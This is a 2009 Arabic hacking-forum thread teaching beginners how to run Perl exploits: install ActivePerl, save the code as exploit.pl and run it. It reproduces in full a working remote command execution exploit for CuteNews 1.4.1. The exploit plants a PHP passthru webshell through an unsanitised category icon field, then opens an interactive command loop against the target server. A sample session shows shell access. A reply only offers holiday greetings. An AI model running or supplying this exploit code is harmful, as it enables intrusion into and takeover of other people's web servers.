منتديات ايجى موكا
آلسلام عليكم ورحمه الله وبركـآته
W:W
آهلا وسهلا بيك فى منتديات
ايجى موكا
طنطاويه | منتديات | دردشه | شات | أفلام | أغاني | برامج | صور | العاب | كليبات | رنات | أسلاميات | أغاني شعبي | راب | موبايلات | سفر | سياحة | طنطاويه| أغاني ...
منتديات ايجى موكا
آلسلام عليكم ورحمه الله وبركـآته
W:W
آهلا وسهلا بيك فى منتديات
ايجى موكا
طنطاويه | منتديات | دردشه | شات | أفلام | أغاني | برامج | صور | العاب | كليبات | رنات | أسلاميات | أغاني شعبي | راب | موبايلات | سفر | سياحة | طنطاويه| أغاني ...
منتديات ايجى موكا
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

منتديات ايجى موكا

ايجى موكا | منتديات | دردشه | شات | أفلام | أغاني | برامج | صور | العاب | كليبات | رنات | أسلاميات | أغاني شعبي | راب | موبايلات | سفر | سياحة |ايجى موكا| أغاني| راب.. ...
 
الرئيسيةبوابه ايجى موكاأحدث الصورالتسجيلدخول

 

 كيفية استثمار ثغرات البيرل Explit.pl ,

اذهب الى الأسفل 
كاتب الموضوعرسالة
????
زائر
Anonymous



كيفية استثمار ثغرات البيرل Explit.pl , Empty
مُساهمةموضوع: كيفية استثمار ثغرات البيرل Explit.pl ,   كيفية استثمار ثغرات البيرل Explit.pl , Icon_minitimeالجمعة مايو 08, 2009 10:55 am

--------------------------------------------------------------------------------

السلام عليكم ورحمه الله وبركاته ,,
[color="RoyalBlue"]اليوم حبيت اشرح لكم الاستثمار لثغرات [/البيرل, وكلنا نعرف ان الثغرات انواع وكل ثغره مكتوبه باللغه اللي يبيها مبرمج الثغره ,, يعني مثلا بعض الثغرات تكون مكتوبه بلغه c السي ويكون امتدادها .c او تكون مكتوبه php ويكون امتدادها .php وبعضها بالبيرل ويكون امتدادها .pl ,,اللي بنشرح كيف التعامل معها اليوم بإذن الله ,, ,

سؤال : كيف نعرف ان هذه الثغره مكتوبه بلغه البيرل ؟

الجواب : اولا تحصل امتداد الملف .pl ومو شرط تحصله محفوظه بالامتداد هذا لان بعض الثغرات يعطونك السورس كود لها ويكون بدايه الكود هكذا #!/usr/bin/perl

بمجرد ماتشوفها كذا تروح تطبق الدرس التالي لتشغيلها ,,

اولا حمل الاداه التاليه ,,


http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.7.815-MSWin32-x86-211909.msi
وبعد ماتحملها تنصب الحزمه ,,
وتاخذ الثغره اللي عندك وتحفظها على اي مكان في القرص تاخذ المصدر حقها او السورس كود تبعها وتحطه في المفكره وتروح لحفظ باسم وتحط اي اسم وبعدين نقطه وبعدين pl مثل كذا exploit.pl , وتروح لها عن طريق الدوس وتشغلها بالطريقه التاليه ,

exploit.pl
او
perl exploit.pl

وهذا مثال لسورس كود لثغره بالبيرل ,



كود PHP:
#!/usr/bin/perl
#
# cijfer-cnxpl - CuteNews <=1.4.1 Remote Command Execution
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.
#
## 1. example
#
# [cijfer@kalma:/research]$ ./cijfer-cnxpl.pl -h www.xxxx.org -d /news
# [cijfer@www.xxxx.org /]$ id;uname -a
# uid=48(apache) gid=48(apache) groups=48(apache),29000(web_serving) context=root:system_r:httpd_sys_script_t
# Linux server.xxxx.org 2.6.13-1.1532_FC4 #1 Thu Oct 20 01:30:08 EDT 2005 i686 i686 i386 GNU/Linux
# [cijfer@www.xxxx.org /]$
#
## 2. explanation
#
# this particular vulnerability is already known (sort of). a
# bug as exact as this one was found by rgod in CuteNews. the
# sole difference between his and my bug, are the files that
# are being exploited. while his was a bug using the following
# string:
#
# show_archives.php?template=../inc/ipban.mdu%00
#
# i found my bug in:
#
# show_archives.php?template=../inc/categories.mdu%00
#
## 3. the bug
#
# the bug lies in categories.mdu, located in the /inc/ folder
# of the cutenews directory.
#
# by using the 'template' variable in show_archives.php, we
# can include any local files. in this case, we're including
# categories.mdu. why? every .mdu file within the cutenews
# package has raw PHP code within it, that is not protected
# like the normal .php files.
#
# $template gets sanitized, but can be bypassed depending on
# php configuration! this is why on some 1.4.0's it works and
# on some others it does not. it all depends on configuration
# and whether or not register_globals needs to be on.
#
# if(file_exists("$cutepath/data/${template}.tpl")){ require("$cutepath/data/${template}.tpl"); }
# ...
#
# looking into categories.mdu, we notice the following to
# create our exploit string:
#
# if($member_db[1] != 1){ msg("error", "Access Denied", "You don't have permission to edit categories"); }
# ...
#
# elseif($action == "doedit")
# {
# ...
#
# cannot write arbitrary php code to $cat_name :(
#
# $cat_name = htmlspecialchars(stripslashes($cat_name));
# ...
#
# $cat_icon lacks sanitization :))!
#
# fwrite($new_cats, "$catid|$cat_name|$cat_icon|||\n");
# ...
#
# adding together all these elements, it is possible to inject
# php code into data/category.db.php and from there, use our
# injected code to either include a remote php shell, or run
# commands on the system.
#
##
#
# $Id: cijfer-cnxpl.pl,v 0.2 2005/12/26 03:36:00 cijfer Exp cijfer $

use IO::Socket;
use Getopt::Std;
use URI::Escape;

getopts("h:d:");

$host = $opt_h;
$dirs = $opt_d;
$good = 0;

if(!$host)
{
print "cijfer-cnxpl.pl by cijfer\n";
print "usage: $0 -h <hostname> -d [/directory]\r\n";
exit();
}

while()
{
print "[cijfer@".$host." /]\$ ";
while(<STDIN>)
{
$cmds=$_;
chomp($cmds);
last;
}

if(!$dirs)
{
$dirs = "/cutenews";
}

$string = $dirs;
$string .= "/show_archives.php?template=../inc/categories.mdu%00";
$string .= "&member_db[1]=1";
$string .= "&action=doedit"; #can be changed from 'doedit' to 'add' if no categories exist
$string .= "&cat_name=cijfer";
$string .= "&catid=1"; #can be changed to different value if starting catid != 0
$string .= "&cat_icon=%3C%3Fpassthru%28%24_GET%5Bcij%5D%29%3Bdie%28%29%3B%3F%3E";

$cijfer = $dirs;
$cijfer .= "/data/category.db.php?cij=";
$cijfer .= uri_escape("echo; ");
$cijfer .= "%20%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20"; # _START_
$cijfer .= uri_escape($cmds);
$cijfer .= "%3B%20%65%63%68%6F%20%5F%45%4E%44%5F"; # _END_

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

print $sock "GET $string HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

print $sock "GET $cijfer HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

while($result = <$sock>)
{
if($sock =~ /^403/)
{
print "error: 403\n";
exit();
}
if($result =~ /^_END_/)
{
$good=0;
}

if($good==1)
{
print $result;
}

if($result =~ /^_START_/)
{
$good=1;
}
}
}

# milw0rm.com [2006-01-01]

وبعد كذا بيطلع لك المتغيرات او الـ Usage اللي المفروظ توضعها ,, ونعطيكم مثال ,
عندنا ثغره وحفظناها في السي نروح في الدوس الين نكون على c: وبعدين نكتب اسم الثغره وتشتغل لك ,
الرجوع الى أعلى الصفحة اذهب الى الأسفل
$$المجروح$$
SuPer VIP
SuPer VIP
$$المجروح$$


كيفية استثمار ثغرات البيرل Explit.pl , 4210o
الهوايــة : كيفية استثمار ثغرات البيرل Explit.pl , Chess10
المهن : كيفية استثمار ثغرات البيرل Explit.pl , Studen10
ذكر الجدي عدد المساهمات : 1605
نقاط : 1861
تاريخ التسجيل : 27/05/2009
العمر : 33
المزاج متظبت

كيفية استثمار ثغرات البيرل Explit.pl , Empty
مُساهمةموضوع: رد: كيفية استثمار ثغرات البيرل Explit.pl ,   كيفية استثمار ثغرات البيرل Explit.pl , Icon_minitimeالإثنين أغسطس 10, 2009 12:44 pm

كيفية استثمار ثغرات البيرل Explit.pl , 668523402

كل عام وانتم بخير بمناسبة شهر رمضان الكريم اللهم بلغنا رمضان وبارك لنا فى اعمالنا وتقبلها منا
قولو امين
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://mooka.tk/
 
كيفية استثمار ثغرات البيرل Explit.pl ,
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» كيفية تحويل الـ nobody الى root
» جمع المعلومات واستخدام ثغرات FrontPage
» شرح مبسط : استغلال ثغرات xss (موضوع مهم ) + تطبيق
» دورة سنايبر ألرت في اكتشاف ثغرات الفايل انكلود
» شرح ثغرات فيض المكدس - Stack OverFlow Exploitation درس كتبته بالعربي + فيديو تطبيقي

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات ايجى موكا :: منتديات الهاكر :: مكتبة الثغرات exploits-
انتقل الى: